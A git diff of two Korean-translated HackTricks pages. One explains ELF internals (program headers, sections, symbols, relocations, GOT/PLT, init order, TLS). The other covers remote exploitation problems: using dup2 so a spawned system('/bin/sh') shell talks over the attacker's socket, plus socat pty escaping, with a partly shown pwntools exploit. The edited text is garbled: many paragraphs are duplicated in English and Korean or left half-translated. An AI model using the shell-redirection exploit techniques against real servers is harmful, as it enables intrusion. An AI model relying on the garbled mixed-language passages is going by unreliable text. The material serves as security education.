diff --git a/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
index 66902cde6..66371a3c6 100644
--- a/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
+++ b/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
@@ -1,20 +1,23 @@
# ELF 기본 정보
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 배우세요!
+HackTricks 지원하기
-* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
-* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
## 프로그램 헤더
-로더에게 **ELF**를 메모리로 로드하는 방법을 설명합니다:
+로더에게 **ELF**를 메모리에 로드하는 방법을 설명합니다:
```bash
readelf -lW lnstat
@@ -47,54 +50,54 @@ Segment Sections...
07
08 .init_array .fini_array .dynamic .got
```
-이전 프로그램에는 **9개의 프로그램 헤더**가 있습니다. 그런 다음 **세그먼트 매핑**은 각 섹션이 어느 프로그램 헤더(00부터 08까지)에 **위치하는지를 나타냅니다**.
+The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
### PHDR - Program HeaDeR
-프로그램 헤더 테이블과 메타데이터 자체를 포함합니다.
+Contains the program header tables and metadata itself.
### INTERP
-바이너리를 메모리로 로드하는 데 사용할 로더의 경로를 나타냅니다.
+Indicates the path of the loader to use to load the binary into memory.
### LOAD
-이 헤더는 **바이너리를 메모리로 로드하는 방법을 나타냅니다.**\
-각 **LOAD** 헤더는 **메모리의 영역**(크기, 권한 및 정렬)을 나타내며 ELF **바이너리의 바이트를 복사할 위치**를 지정합니다.
+These headers are used to indicate **how to load a binary into memory.**\
+Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
-예를 들어, 두 번째 헤더는 크기가 0x1190이며 0x1fc48에 위치하고 읽기 및 쓰기 권한이 있으며 오프셋 0xfc48에서 0x528로 채워질 것입니다(예약된 공간을 모두 채우지는 않음). 이 메모리에는 섹션 `.init_array .fini_array .dynamic .got .data .bss`가 포함됩니다.
+For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC
-이 헤더는 프로그램을 라이브러리 종속성에 연결하고 재배치를 적용하는 데 도움이 됩니다. **`.dynamic`** 섹션을 확인하세요.
+This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
### NOTE
-바이너리에 대한 공급 업체 메타데이터 정보를 저장합니다.
+This stores vendor metadata information about the binary.
### GNU\_EH\_FRAME
-디버거 및 C++ 예외 처리 런타임 함수에서 사용되는 스택 언워인드 테이블의 위치를 정의합니다.
+Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
### GNU\_STACK
-스택 실행 방지 방어의 구성을 포함합니다. 활성화되면 바이너리는 스택에서 코드를 실행할 수 없습니다.
+Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
### GNU\_RELRO
-바이너리의 RELRO (Relocation Read-Only) 구성을 나타냅니다. 이 보호는 프로그램이 로드된 후 실행되기 전에 메모리의 특정 섹션(예: `GOT` 또는 `init` 및 `fini` 테이블)을 읽기 전용으로 표시합니다.
+Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
-이전 예에서는 0x3b8 바이트를 0x1fc48에 읽기 전용으로 복사하여 `.init_array .fini_array .dynamic .got .data .bss` 섹션에 영향을 줍니다.
+In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
-RELRO는 부분적이거나 완전한 것이 있으며, 부분적 버전은 **`.plt.got`** 섹션을 보호하지 않습니다. 이 섹션은 **지연 바인딩**에 사용되며 위치가 검색될 때 라이브러리의 주소를 처음으로 쓰기 위해 이 메모리 공간에 **쓰기 권한**이 있어야 합니다.
+Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
### TLS
-TLS 항목 테이블을 정의하며 쓰레드 로컬 변수에 대한 정보를 저장합니다.
+Defines a table of TLS entries, which stores info about thread-local variables.
-## 섹션 헤더
+## Section Headers
-섹션 헤더는 ELF 바이너리의 더 자세한 정보를 제공합니다.
+Section headers gives a more detailed view of the ELF binary
```
objdump lnstat -h
@@ -155,24 +158,26 @@ CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
```
-### 메타 섹션
+It also indicates the location, offset, permissions but also the **type of data** it section has.
-* **문자열 테이블**: ELF 파일에서 필요한 모든 문자열을 포함하고 있습니다 (프로그램에서 실제로 사용되는 것은 아님). 예를 들어 `.text` 또는 `.data`와 같은 섹션 이름을 포함합니다. 그리고 만약 `.text`이 문자열 테이블에서 45 오프셋에 있다면 **name** 필드에서 숫자 **45**를 사용합니다.
-* 문자열 테이블의 위치를 찾기 위해 ELF에는 문자열 테이블을 가리키는 포인터가 포함되어 있습니다.
-* **심볼 테이블**: 이름 (문자열 테이블 내의 오프셋), 주소, 크기 및 심볼에 대한 추가 메타데이터와 같은 심볼에 대한 정보를 포함합니다.
+### Meta Sections
-### 주요 섹션
+* **String table**: ELF 파일에 필요한 모든 문자열을 포함하고 있습니다(하지만 프로그램에서 실제로 사용되는 문자열은 아닙니다). 예를 들어, `.text` 또는 `.data`와 같은 섹션 이름을 포함합니다. 그리고 만약 `.text`가 문자열 테이블에서 오프셋 45에 있다면, **name** 필드에서 숫자 **45**를 사용할 것입니다.
+* 문자열 테이블이 어디에 있는지 찾기 위해, ELF는 문자열 테이블에 대한 포인터를 포함합니다.
+* **Symbol table**: 이름(문자열 테이블의 오프셋), 주소, 크기 및 기호에 대한 더 많은 메타데이터와 같은 기호에 대한 정보를 포함합니다.
-* **`.text`**: 프로그램을 실행하는 명령어들입니다.
-* **`.data`**: 프로그램에서 정의된 값이 있는 전역 변수들입니다.
-* **`.bss`**: 초기화되지 않은 전역 변수들 (또는 0으로 초기화된 변수). 이곳의 변수들은 자동으로 0으로 초기화되므로 바이너리에 불필요한 0이 추가되는 것을 방지합니다.
-* **`.rodata`**: 상수 전역 변수들 (읽기 전용 섹션).
-* **`.tdata`**와 **`.tbss`**: 스레드 로컬 변수가 사용될 때 (C++의 `__thread_local` 또는 `__thread`와 같은) .data 및 .bss와 유사합니다.
-* **`.dynamic`**: 아래 참조.
+### Main Sections
-## 심볼
+* **`.text`**: 실행할 프로그램의 명령어입니다.
+* **`.data`**: 프로그램에서 정의된 값을 가진 전역 변수입니다.
+* **`.bss`**: 초기화되지 않은 전역 변수(또는 0으로 초기화됨). 여기의 변수는 자동으로 0으로 초기화되므로 이진 파일에 쓸모없는 0이 추가되는 것을 방지합니다.
+* **`.rodata`**: 상수 전역 변수(읽기 전용 섹션)입니다.
+* **`.tdata`** 및 **`.tbss`**: 스레드 로컬 변수가 사용될 때 .data 및 .bss와 같습니다(`__thread_local` in C++ 또는 `__thread` in C).
+* **`.dynamic`**: 아래를 참조하십시오.
-심볼은 프로그램의 이름이 지정된 위치로, 함수, 전역 데이터 객체, 스레드 로컬 변수 등이 될 수 있습니다.
+## Symbols
+
+Symbols는 프로그램 내의 명명된 위치로, 함수, 전역 데이터 객체, 스레드 로컬 변수 등이 될 수 있습니다.
```
readelf -s lnstat
@@ -193,14 +198,14 @@ Num: Value Size Type Bind Vis Ndx Name
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
```
-각 심볼 항목에는 다음이 포함되어 있습니다:
+각 심볼 항목은 다음을 포함합니다:
-- **이름**
-- **바인딩 속성** (약한, 지역 또는 전역): 지역 심볼은 프로그램 자체에서만 액세스할 수 있으며 전역 심볼은 프로그램 외부에서 공유됩니다. 약한 객체는 다른 함수에 의해 재정의될 수 있는 함수입니다.
-- **유형**: NOTYPE (지정된 유형 없음), OBJECT (전역 데이터 변수), FUNC (함수), SECTION (섹션), FILE (디버거용 소스 코드 파일), TLS (스레드 로컬 변수), GNU_IFUNC (재배치를 위한 간접 함수)
-- **위치한 섹션** 인덱스
-- **값** (메모리 주소)
-- **크기**
+* **이름**
+* **바인딩 속성** (약한, 로컬 또는 전역): 로컬 심볼은 프로그램 자체에서만 접근할 수 있으며, 전역 심볼은 프로그램 외부에서 공유됩니다. 약한 객체는 예를 들어 다른 함수에 의해 재정의될 수 있는 함수입니다.
+* **유형**: NOTYPE (유형이 지정되지 않음), OBJECT (전역 데이터 변수), FUNC (함수), SECTION (섹션), FILE (디버거용 소스 코드 파일), TLS (스레드 로컬 변수), GNU\_IFUNC (재배치를 위한 간접 함수)
+* **섹션** 인덱스 (위치)
+* **값** (메모리 내 주소)
+* **크기**
## 동적 섹션
```
@@ -237,13 +242,11 @@ Tag Type Name/Value
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
-## 필요한 라이브러리
+NEEDED 디렉토리는 프로그램이 계속 진행하기 위해 **언급된 라이브러리를 로드해야 함**을 나타냅니다. NEEDED 디렉토리는 공유 **라이브러리가 완전히 작동하고 사용 준비가 되었을 때** 완료됩니다.
-NEEDED 디렉토리는 프로그램이 계속 진행하기 위해 **언급된 라이브러리를 로드해야 한다는 것을 나타냅니다**. NEEDED 디렉토리는 공유 **라이브러리가 완전히 작동하고 사용할 준비가 된 후** 완료됩니다.
+## Relocations
-## 재배치
-
-로더는 로드한 후 종속성을 재배치해야 합니다. 이러한 재배치는 REL 또는 RELA 형식의 재배치 테이블에서 나타나며, 재배치의 수는 동적 섹션 RELSZ 또는 RELASZ에 주어집니다.
+로더는 또한 로드한 후 의존성을 재배치해야 합니다. 이러한 재배치는 REL 또는 RELA 형식의 재배치 테이블에 표시되며, 재배치 수는 동적 섹션 RELSZ 또는 RELASZ에 제공됩니다.
```
readelf -r lnstat
@@ -309,7 +312,6 @@ Offset Info Type Sym. Value Sym. Name + Addend
00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0
00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0
00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0
-```plaintext
00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0
00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0
00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0
@@ -319,23 +321,23 @@ Offset Info Type Sym. Value Sym. Name + Addend
```
### 정적 재배치
-프로그램이 선호하는 주소(보통 0x400000)가 이미 사용 중이거나 ASLR 또는 다른 이유로 인해 선호하는 주소가 아닌 다른 곳에 로드된 경우, 정적 재배치는 이진 파일이 선호하는 주소에 로드되었다고 가정하고 값을 기대하는 포인터를 수정합니다.
+프로그램이 **선호하는 주소**(보통 0x400000)와 다른 위치에 로드되면(주소가 이미 사용 중이거나 **ASLR** 또는 기타 이유로), 정적 재배치는 **포인터를 수정**하여 이진 파일이 선호하는 주소에 로드될 것으로 예상했던 값을 수정합니다.
-예를 들어 `R_AARCH64_RELATIV` 유형의 섹션은 재배치 편향 플러스 추가 값에서 주소를 수정해야 합니다.
+예를 들어, `R_AARCH64_RELATIV` 유형의 섹션은 재배치 편향에 추가 값(addend value)을 더한 주소를 수정해야 합니다.
### 동적 재배치 및 GOT
-재배치는 외부 심볼(의존성에서 가져온 함수와 같은)을 참조할 수도 있습니다. 예를 들어 libC의 malloc 함수와 같은. 그럼 로더는 libC를 로드할 때 malloc 함수가 로드된 위치를 확인하고, malloc 함수의 주소가 지정되어야 하는 GOT(Global Offset Table) 테이블(재배치 테이블에 표시됨)에 이 주소를 기록합니다.
+재배치는 외부 기호(예: 의존성의 함수)를 참조할 수도 있습니다. libC의 malloc 함수와 같은 경우입니다. 그런 다음 로더는 libC를 로드할 때 malloc 함수가 로드된 주소를 확인하고, 이 주소를 GOT(전역 오프셋 테이블) 테이블(재배치 테이블에 표시됨)에 기록하여 malloc의 주소를 지정해야 합니다.
-### 절차 연결 테이블
+### 프로시저 링크 테이블
-PLT 섹션은 지연 바인딩을 수행할 수 있게 해줍니다. 이는 함수의 위치 결정이 해당 함수에 처음 액세스될 때 수행된다는 것을 의미합니다.
+PLT 섹션은 지연 바인딩을 수행할 수 있게 해주며, 이는 함수의 위치 해석이 처음 접근할 때 수행된다는 것을 의미합니다.
-따라서 프로그램이 malloc을 호출할 때, 실제로는 PLT의 `malloc`에 해당하는 위치를 호출합니다(`malloc@plt`). 처음 호출될 때 `malloc`의 주소를 해결하고 저장하여 다음에 `malloc`이 호출될 때 PLT 코드 대신 해당 주소를 사용합니다.
+따라서 프로그램이 malloc을 호출할 때, 실제로는 PLT의 `malloc`에 해당하는 위치(`malloc@plt`)를 호출합니다. 처음 호출할 때 `malloc`의 주소를 해석하고 저장하므로 다음에 `malloc`이 호출될 때는 PLT 코드 대신 그 주소가 사용됩니다.
## 프로그램 초기화
-프로그램이 로드된 후에 실행될 시간입니다. 그러나 실행되는 첫 번째 코드가 항상 `main` 함수가 아닙니다. 이는 예를 들어 C++에서 전역 변수가 클래스의 객체인 경우, 이 객체는 `main`이 실행되기 전에 초기화되어야 하기 때문입니다.
+프로그램이 로드된 후 실행할 시간입니다. 그러나 실행되는 첫 번째 코드는 **항상 `main`** 함수가 아닙니다. 예를 들어 C++에서 **전역 변수가 클래스의 객체**인 경우, 이 객체는 main이 실행되기 **전에** **초기화**되어야 합니다.
```cpp
#include
// g++ autoinit.cpp -o autoinit
@@ -356,36 +358,76 @@ printf("Main\n");
return 0;
}
```
-주의할 점은 이러한 전역 변수가 `.data` 또는 `.bss`에 위치하지만 `__CTOR_LIST__` 및 `__DTOR_LIST__` 목록에는 초기화 및 소멸할 객체가 순서대로 저장되어 추적됩니다.
+이러한 전역 변수는 `.data` 또는 `.bss`에 위치하지만, `__CTOR_LIST__` 및 `__DTOR_LIST__` 목록에는 초기화 및 소멸할 객체가 저장되어 이들을 추적할 수 있습니다.
-C 코드에서 GNU 확장을 사용하여 동일한 결과를 얻을 수 있습니다 :
+C 코드에서는 GNU 확장을 사용하여 동일한 결과를 얻을 수 있습니다:
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
```
-컴파일러 관점에서, `main` 함수가 실행되기 전과 후에 이러한 동작을 실행하기 위해 `init` 함수와 `fini` 함수를 생성하고 동적 섹션에서 **`INIT`** 및 **`FIN`**으로 참조되며 ELF의 `init` 및 `fini` 섹션에 배치할 수 있습니다.
+From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF.
-언급된 다른 옵션은 동적 섹션에서 **`INIT_ARRAY`** 및 **`FINI_ARRAY`** 항목에 **`__CTOR_LIST__`** 및 **`__DTOR_LIST__`** 목록을 참조하고 이들의 길이는 **`INIT_ARRAYSZ`** 및 **`FINI_ARRAYSZ`**로 표시됩니다. 각 항목은 인수 없이 호출되는 함수 포인터입니다.
+컴파일러 관점에서, `main` 함수가 실행되기 전과 후에 이러한 작업을 실행하기 위해 `init` 함수와 `fini` 함수를 생성할 수 있으며, 이는 동적 섹션에서 **`INIT`** 및 **`FIN`**으로 참조됩니다. 그리고 ELF의 `init` 및 `fini` 섹션에 배치됩니다.
-또한 **`INIT_ARRAY`** 포인터보다 **이전에** 실행될 **포인터**가 있는 **`PREINIT_ARRAY`**를 가질 수도 있습니다.
+The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments.
+
+언급된 다른 옵션은 동적 섹션의 **`INIT_ARRAY`** 및 **`FINI_ARRAY`** 항목에서 **`__CTOR_LIST__`** 및 **`__DTOR_LIST__`** 목록을 참조하는 것이며, 이들의 길이는 **`INIT_ARRAYSZ`** 및 **`FINI_ARRAYSZ`**로 표시됩니다. 각 항목은 인수 없이 호출될 함수 포인터입니다.
+
+Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers.
+
+또한 **`INIT_ARRAY`** 포인터보다 **먼저** 실행될 **포인터**가 있는 **`PREINIT_ARRAY`**를 가질 수도 있습니다.
+
+### Initialization Order
+
+1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**.
+2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed.
+3. **`PREINIT_ARRAY`** functions are executed.
+4. **`INIT_ARRAY`** functions are executed.
+5. If there is a **`INIT`** entry it's called.
+6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function).
### 초기화 순서
-1. 프로그램이 메모리에 로드되고, 정적 전역 변수가 **`.data`**에서 초기화되며 초기화되지 않은 변수는 **`.bss`**에서 0으로 설정됩니다.
-2. 프로그램이나 라이브러리의 모든 **의존성**이 **초기화**되고 **동적 링킹**이 실행됩니다.
+1. 프로그램이 메모리에 로드되고, 정적 전역 변수가 **`.data`**에서 초기화되며, 초기화되지 않은 변수는 **`.bss`**에서 0으로 설정됩니다.
+2. 프로그램 또는 라이브러리에 대한 모든 **종속성**이 **초기화**되고 **동적 링크**가 실행됩니다.
3. **`PREINIT_ARRAY`** 함수가 실행됩니다.
4. **`INIT_ARRAY`** 함수가 실행됩니다.
-5. **`INIT`** 항목이 있는 경우 호출됩니다.
-6. 라이브러리의 경우, dlopen이 여기서 끝나며, 프로그램의 경우 **실제 진입점**인 (`main` 함수)을 호출할 시간입니다.
+5. **`INIT`** 항목이 있으면 호출됩니다.
+6. 라이브러리인 경우, dlopen은 여기서 끝나고, 프로그램인 경우 **실제 진입점**(`main` 함수)을 호출할 시간입니다.
-## 스레드 로컬 스토리지 (TLS)
+## Thread-Local Storage (TLS)
-C++에서는 **`__thread_local`** 키워드를 사용하거나 GNU 확장인 **`__thread`**를 사용하여 정의됩니다.
+They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**.
-각 스레드는 이 변수에 대한 고유한 위치를 유지하므로 스레드만 해당 변수에 액세스할 수 있습니다.
+**`__thread_local`** 키워드를 사용하여 C++에서 정의되거나 GNU 확장 **`__thread`**를 사용합니다.
-이를 사용하면 ELF에서 **`.tdata`** 및 **`.tbss`** 섹션이 사용됩니다. 이는 TLS용으로 `.data` (초기화됨) 및 `.bss` (초기화되지 않음)와 유사합니다.
+Each thread will maintain a unique location for this variable so only the thread can access its variable.
-각 변수는 TLS 헤더에 항목을 가지며 크기와 TLS 오프셋을 지정하며, 이는 스레드의 로컬 데이터 영역에서 사용할 오프셋입니다.
+각 스레드는 이 변수에 대해 고유한 위치를 유지하므로 오직 해당 스레드만 자신의 변수를 접근할 수 있습니다.
-`__TLS_MODULE_BASE`는 모듈의 모든 스레드 로컬 데이터를 포함하는 메모리 영역을 가리키는 기호입니다.
+When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS.
+
+이것이 사용되면 ELF에서 **`.tdata`** 및 **`.tbss`** 섹션이 사용됩니다. 이는 TLS에 대한 `.data` (초기화됨) 및 `.bss` (초기화되지 않음)와 유사합니다.
+
+Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area.
+
+각 변수는 TLS 헤더에 크기와 TLS 오프셋을 지정하는 항목을 가지며, 이는 스레드의 로컬 데이터 영역에서 사용할 오프셋입니다.
+
+The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
+
+`__TLS_MODULE_BASE`는 스레드 로컬 저장소의 기본 주소를 참조하는 데 사용되는 기호이며, 모듈의 모든 스레드 로컬 데이터를 포함하는 메모리 영역을 가리킵니다.
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/binary-exploitation/common-exploiting-problems.md b/binary-exploitation/common-exploiting-problems.md
index f9d0494f1..77c7746ba 100644
--- a/binary-exploitation/common-exploiting-problems.md
+++ b/binary-exploitation/common-exploiting-problems.md
@@ -1,24 +1,27 @@
-# 일반적인 Exploiting 문제
+# Common Exploiting Problems
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!
+Support HackTricks
-* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 얻으세요
-* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
-* **해킹 트릭을 공유하고 싶다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**해주세요.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## 원격 Exploitation에서의 FDs
+## 원격 익스플로잇에서의 FD
-예를 들어 **`system('/bin/sh')`**를 호출하는 원격 서버로 exploit을 전송할 때, 이는 물론 서버 프로세스에서 실행되며, `/bin/sh`는 stdin(FD: `0`)에서 입력을 기대하고 stdout 및 stderr(FDs `1` 및 `2`)에서 출력을 표시할 것입니다. 따라서 공격자는 셸과 상호 작용할 수 없을 것입니다.
+예를 들어 **`system('/bin/sh')`**를 호출하는 익스플로잇을 원격 서버에 전송할 때, 이는 서버 프로세스에서 실행되며, `/bin/sh`는 stdin(FD: `0`)에서 입력을 기대하고 stdout과 stderr(FDs `1` 및 `2`)에 출력을 인쇄합니다. 따라서 공격자는 셸과 상호작용할 수 없습니다.
-이를 해결하는 한 가지 방법은 서버가 시작될 때 **FD 번호 `3`** (청취용)를 생성했다고 가정하고, 그 후에 연결이 **FD 번호 `4`**에 있을 것이라고 가정하는 것입니다. 따라서, **`dup2`** 시스템 호출을 사용하여 stdin(FD 0)과 stdout(FD 1)를 공격자 연결의 FD 4(연결용)에 복제하여 실행된 후 셸과 연락할 수 있도록 만들 수 있습니다.
+이를 해결하는 방법은 서버가 시작될 때 **FD 번호 `3`**(리스닝용)을 생성하고, 그 다음에 당신의 연결이 **FD 번호 `4`**에 있을 것이라고 가정하는 것입니다. 따라서 시스템 호출 **`dup2`**를 사용하여 stdin(FD 0)과 stdout(FD 1)을 FD 4(공격자의 연결)로 복제할 수 있으므로, 셸이 실행되면 연락할 수 있게 됩니다.
-[**여기에서 exploit 예시**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit)
+[**여기서 익스플로잇 예제**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
@@ -37,20 +40,23 @@ p.interactive()
```
## Socat & pty
-socat는 이미 **`stdin`**과 **`stdout`**를 소켓으로 전송합니다. 그러나 `pty` 모드에는 **DELETE 문자가 포함**되어 있습니다. 따라서 `\x7f` (`DELETE` -)를 보내면 exploit의 이전 문자가 **삭제**됩니다.
+socat은 이미 **`stdin`**과 **`stdout`**을 소켓으로 전송합니다. 그러나 `pty` 모드는 **DELETE 문자를 포함**합니다. 따라서 `\x7f` ( `DELETE` -)를 보내면 **당신의 익스플로잇의 이전 문자를 삭제**합니다.
-이를 우회하기 위해 **`\x7f`를 보내기 전에 이스케이프 문자 `\x16`을 추가**해야 합니다.
+이를 우회하기 위해서는 **전송되는 모든 `\x7f` 앞에 이스케이프 문자 `\x16`을 추가해야 합니다.**
**여기에서** [**이 동작의 예제를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 처음부터 전문가까지 배우세요
+Support HackTricks
-* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요**? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
-* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
-* **해킹 요령을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출하세요**.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
